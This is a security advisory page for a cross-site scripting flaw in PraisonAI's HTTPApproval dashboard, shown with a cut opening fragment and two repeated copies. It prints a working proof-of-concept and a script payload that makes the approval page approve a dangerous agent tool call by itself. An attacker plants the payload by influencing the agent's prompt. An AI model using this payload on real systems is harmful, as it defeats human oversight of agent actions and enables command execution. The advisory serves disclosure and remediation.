\"\n)\n\n\nasync def main():\n backend = HTTPApproval(host=\"127.0.0.1\", port=free_port(), timeout=5)\n request = ApprovalRequest(\n tool_name=\"execute_command\",\n arguments={\"command\": payload},\n risk_level=\"critical\",\n agent_name=\"pov-agent\",\n )\n task = asyncio.create_task(backend.request_approval(request))\n\n request_id = \"\"\n for _ in range(100):\n if backend._pending:\n request_id = next(iter(backend._pending))\n break\n await asyncio.sleep(0.05)\n assert request_id\n\n url = f\"http://127.0.0.1:{backend._port}/approve/{request_id}\"\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n page = await response.text()\n raw_script_present = \"\n```\n\nThe shell prefix demonstrates that the same argument can be executable shell\nsyntax after approval; the PoV stops before executing the tool.\n\n## Suggested Fix\n\nEscape every untrusted value before inserting it into the approval HTML:\n\n- `tool_name`\n- `risk_level`\n- `agent_name`\n- every argument key\n- every argument value\n\nFor example, use `html.escape(str(value), quote=True)` or a template engine that\nauto-escapes by default. Add regression tests that include `
Published June 18, 2026 # HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
## Summary
`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly
into the approval dashboard HTML. An attacker-controlled tool argument can
inject JavaScript...
Full CISO analysis pending enrichment.
What systems are affected?
Package Ecosystem Vulnerable Range Patched PraisonAI pip >= 4.5.2, <= 4.6.58 4.6.59
Do you use PraisonAI? You're affected.
How severe is it?
CVSS 3.1 8.8 / 10 EPSS N/A Exploitation Status No known exploitation Sophistication N/A What is the attack surface?
AV Network AC Low PR None UI Required S Unchanged C High I High A High What should I do?
Patch available
Update PraisonAI to version 4.6.59
Which compliance frameworks are affected?
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is GHSA-63v4-w882-g4x2?
# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
## Summary
`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly
into the approval dashboard HTML. An attacker-controlled tool argument can
inject JavaScript into that page. When a human opens the approval URL to inspect
the risky tool request, the script runs in the dashboard origin and can POST to
the same request's `/approve/{request_id}/decide` endpoint, causing
`HTTPApproval` to return `approved=True`.
The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at
the approval decision. It does not execute the command.
## Affected Versions
Proposed affected range: `>= 4.5.2, <= 4.6.57`.
Validated affected:
- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`
(`v4.6.57-4-g2f9677ab`)
- `v4.5.2`
- `v4.5.3`
- `v4.5.124`
- `v4.5.126`
- `v4.5.128`
- `v4.6.10`
- `v4.6.56`
- `v4.6.57`
`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.
## Impact
An attacker who can influence an agent task or prompt enough to produce a
dangerous tool call can embed a short XSS payload in the tool argument. When the
human approver opens the HTTP approval page, the script can approve the pending
dangerous tool call before the human explicitly clicks Approve or Deny.
This bypasses the human-in-the-loop approval boundary for dangerous tools such
as `execute_command`, `execute_code`, `delete_file`, or other tools gated
through `HTTPApproval`. If the agent continues after approval, the dangerous
tool runs with the privileges of the PraisonAI process.
## Why This Is Not Intended Behavior
PraisonAI documentation describes approval as a safety control that pauses an
agent before risky tools and asks a human or configured channel to allow or deny
execution. The documentation also lists `http` as a supported non-console
approval backend.
Opening the approval page to inspect a risky command should not itself approve
the command. The current behavior allows attacker-controlled tool arguments to
execute script in the approval page and submit the approval action.
This is distinct from the previously published stored-XSS advisory for agent
output rendering. That advisory concerned `src/praisonai/api.py` and missing
`nh3` sanitization in older versions. This report concerns the `HTTPApproval`
dashboard sink and remains present in current head.
## Root Cause
In `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the
approval page with raw f-string interpolation:
- argument keys and values are appended to `args_html` without HTML escaping;
- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the
returned HTML;
- the generated page contains same-origin JavaScript that posts to
`/approve/{request_id}/decide`.
`_handle_decide()` accepts JSON from that endpoint and marks the pending request
approved when `decision == "approve"`.
Because the approval page is generated from the pending request's unescaped tool
arguments, an injected script can call the same endpoint that the legitimate
Approve button uses. The request id is unguessable, but the script runs inside
the loaded approval page and can derive the endpoint from `location.pathname`.
## Reproduction
The PoV is local-only and does not execute the dangerous tool command. Run it
from a PraisonAI checkout or environment where `praisonai` and
`praisonaiagents` import from the candidate version.
```python
import asyncio
import json
import socket
import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest
def free_port():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
payload = (
"touch /tmp/prai010 # "
"</code><script>"
"fetch(location.pathname+'/decide',{"
"method:'POST',headers:{'Content-Type':'application/json'},"
"body:'{\"decision\":\"approve\"}'})"
"</script><code>"
)
async def main():
backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
request = ApprovalRequest(
tool_name="execute_command",
arguments={"command": payload},
risk_level="critical",
agent_name="pov-agent",
)
task = asyncio.create_task(backend.request_approval(request))
request_id = ""
for _ in range(100):
if backend._pending:
request_id = next(iter(backend._pending))
break
await asyncio.sleep(0.05)
assert request_id
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
page = await response.text()
raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
script_not_html_escaped = "<script" not in page
payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
payload_not_truncated = "..." not in page[
page.find("<script>"):page.find("<script>") + len(payload) + 10
]
assert raw_script_present
assert script_not_html_escaped
assert payload_not_truncated
# Same request the injected same-origin script submits.
async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
post_body = await response.text()
decision = await task
await backend.shutdown()
print(json.dumps({
"payload_len": len(payload),
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": raw_script_present,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": payload_not_truncated,
"post_body": post_body,
"decision_approved": decision.approved,
"decision_reason": decision.reason,
"vulnerable": bool(
raw_script_present
and script_not_html_escaped
and payload_uses_same_origin_decide_endpoint
and payload_not_truncated
and decision.approved
),
}, indent=2))
asyncio.run(main())
```
Expected affected output includes:
```json
{
"payload_len": 175,
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": true,
"script_not_html_escaped": true,
"payload_uses_same_origin_decide_endpoint": true,
"payload_not_truncated": true,
"decision_approved": true,
"vulnerable": true
}
```
The relevant injected argument shape is:
```text
touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>
```
The shell prefix demonstrates that the same argument can be executable shell
syntax after approval; the PoV stops before executing the tool.
## Suggested Fix
Escape every untrusted value before inserting it into the approval HTML:
- `tool_name`
- `risk_level`
- `agent_name`
- every argument key
- every argument value
For example, use `html.escape(str(value), quote=True)` or a template engine that
auto-escapes by default. Add regression tests that include `</code><script>...`
in tool arguments and assert that the rendered page contains escaped text, not a
script element.
Minimal patch shape:
```python
from html import escape
def h(value: object) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))
args_html = ""
for k, v in arguments.items():
val_str = str(v)
if len(val_str) > 200:
val_str = val_str[:197] + "..."
args_html += (
f"<tr><td><code>{h(k)}</code></td>"
f"<td><code>{h(val_str)}</code></td></tr>"
)
```
Additional hardening:
- avoid inline JavaScript and add a restrictive Content Security Policy;
- keep the request id as an unguessable capability, but do not rely on it as an
XSS defense;
- consider requiring a per-request decision token outside attacker-controlled
rendered argument fields.
Is GHSA-63v4-w882-g4x2 actively exploited?
No confirmed active exploitation of GHSA-63v4-w882-g4x2 has been reported, but organizations should still patch proactively.
How to fix GHSA-63v4-w882-g4x2?
Update to patched version: PraisonAI 4.6.59.
What is the CVSS score for GHSA-63v4-w882-g4x2?
GHSA-63v4-w882-g4x2 has a CVSS v3.1 base score of 8.8 (HIGH).
What are the technical details?
Original Advisory
# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
## Summary
`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly
into the approval dashboard HTML. An attacker-controlled tool argument can
inject JavaScript into that page. When a human opens the approval URL to inspect
the risky tool request, the script runs in the dashboard origin and can POST to
the same request's `/approve/{request_id}/decide` endpoint, causing
`HTTPApproval` to return `approved=True`.
The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at
the approval decision. It does not execute the command.
## Affected Versions
Proposed affected range: `>= 4.5.2, <= 4.6.57`.
Validated affected:
- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`
(`v4.6.57-4-g2f9677ab`)
- `v4.5.2`
- `v4.5.3`
- `v4.5.124`
- `v4.5.126`
- `v4.5.128`
- `v4.6.10`
- `v4.6.56`
- `v4.6.57`
`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.
## Impact
An attacker who can influence an agent task or prompt enough to produce a
dangerous tool call can embed a short XSS payload in the tool argument. When the
human approver opens the HTTP approval page, the script can approve the pending
dangerous tool call before the human explicitly clicks Approve or Deny.
This bypasses the human-in-the-loop approval boundary for dangerous tools such
as `execute_command`, `execute_code`, `delete_file`, or other tools gated
through `HTTPApproval`. If the agent continues after approval, the dangerous
tool runs with the privileges of the PraisonAI process.
## Why This Is Not Intended Behavior
PraisonAI documentation describes approval as a safety control that pauses an
agent before risky tools and asks a human or configured channel to allow or deny
execution. The documentation also lists `http` as a supported non-console
approval backend.
Opening the approval page to inspect a risky command should not itself approve
the command. The current behavior allows attacker-controlled tool arguments to
execute script in the approval page and submit the approval action.
This is distinct from the previously published stored-XSS advisory for agent
output rendering. That advisory concerned `src/praisonai/api.py` and missing
`nh3` sanitization in older versions. This report concerns the `HTTPApproval`
dashboard sink and remains present in current head.
## Root Cause
In `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the
approval page with raw f-string interpolation:
- argument keys and values are appended to `args_html` without HTML escaping;
- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the
returned HTML;
- the generated page contains same-origin JavaScript that posts to
`/approve/{request_id}/decide`.
`_handle_decide()` accepts JSON from that endpoint and marks the pending request
approved when `decision == "approve"`.
Because the approval page is generated from the pending request's unescaped tool
arguments, an injected script can call the same endpoint that the legitimate
Approve button uses. The request id is unguessable, but the script runs inside
the loaded approval page and can derive the endpoint from `location.pathname`.
## Reproduction
The PoV is local-only and does not execute the dangerous tool command. Run it
from a PraisonAI checkout or environment where `praisonai` and
`praisonaiagents` import from the candidate version.
```python
import asyncio
import json
import socket
import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest
def free_port():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
payload = (
"touch /tmp/prai010 # "
"</code><script>"
"fetch(location.pathname+'/decide',{"
"method:'POST',headers:{'Content-Type':'application/json'},"
"body:'{\"decision\":\"approve\"}'})"
"</script><code>"
)
async def main():
backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
request = ApprovalRequest(
tool_name="execute_command",
arguments={"command": payload},
risk_level="critical",
agent_name="pov-agent",
)
task = asyncio.create_task(backend.request_approval(request))
request_id = ""
for _ in range(100):
if backend._pending:
request_id = next(iter(backend._pending))
break
await asyncio.sleep(0.05)
assert request_id
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
page = await response.text()
raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
script_not_html_escaped = "<script" not in page
payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
payload_not_truncated = "..." not in page[
page.find("<script>"):page.find("<script>") + len(payload) + 10
]
assert raw_script_present
assert script_not_html_escaped
assert payload_not_truncated
# Same request the injected same-origin script submits.
async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
post_body = await response.text()
decision = await task
await backend.shutdown()
print(json.dumps({
"payload_len": len(payload),
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": raw_script_present,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": payload_not_truncated,
"post_body": post_body,
"decision_approved": decision.approved,
"decision_reason": decision.reason,
"vulnerable": bool(
raw_script_present
and script_not_html_escaped
and payload_uses_same_origin_decide_endpoint
and payload_not_truncated
and decision.approved
),
}, indent=2))
asyncio.run(main())
```
Expected affected output includes:
```json
{
"payload_len": 175,
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": true,
"script_not_html_escaped": true,
"payload_uses_same_origin_decide_endpoint": true,
"payload_not_truncated": true,
"decision_approved": true,
"vulnerable": true
}
```
The relevant injected argument shape is:
```text
touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>
```
The shell prefix demonstrates that the same argument can be executable shell
syntax after approval; the PoV stops before executing the tool.
## Suggested Fix
Escape every untrusted value before inserting it into the approval HTML:
- `tool_name`
- `risk_level`
- `agent_name`
- every argument key
- every argument value
For example, use `html.escape(str(value), quote=True)` or a template engine that
auto-escapes by default. Add regression tests that include `</code><script>...`
in tool arguments and assert that the rendered page contains escaped text, not a
script element.
Minimal patch shape:
```python
from html import escape
def h(value: object) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))
args_html = ""
for k, v in arguments.items():
val_str = str(v)
if len(val_str) > 200:
val_str = val_str[:197] + "..."
args_html += (
f"<tr><td><code>{h(k)}</code></td>"
f"<td><code>{h(val_str)}</code></td></tr>"
)
```
Additional hardening:
- avoid inline JavaScript and add a restrictive Content Security Policy;
- keep the request id as an unguessable capability, but do not rely on it as an
XSS defense;
- consider requiring a per-request decision token outside attacker-controlled
rendered argument fields.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
Timeline
Published June 18, 2026 Last Modified June 18, 2026 First Seen June 18, 2026
Related Vulnerabilities
CRITICAL GHSA-vmmj-pfw7-fjwp 9.9 Analysis pending
Same package: praisonai CRITICAL CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai CRITICAL GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CRITICAL GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai CRITICAL CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai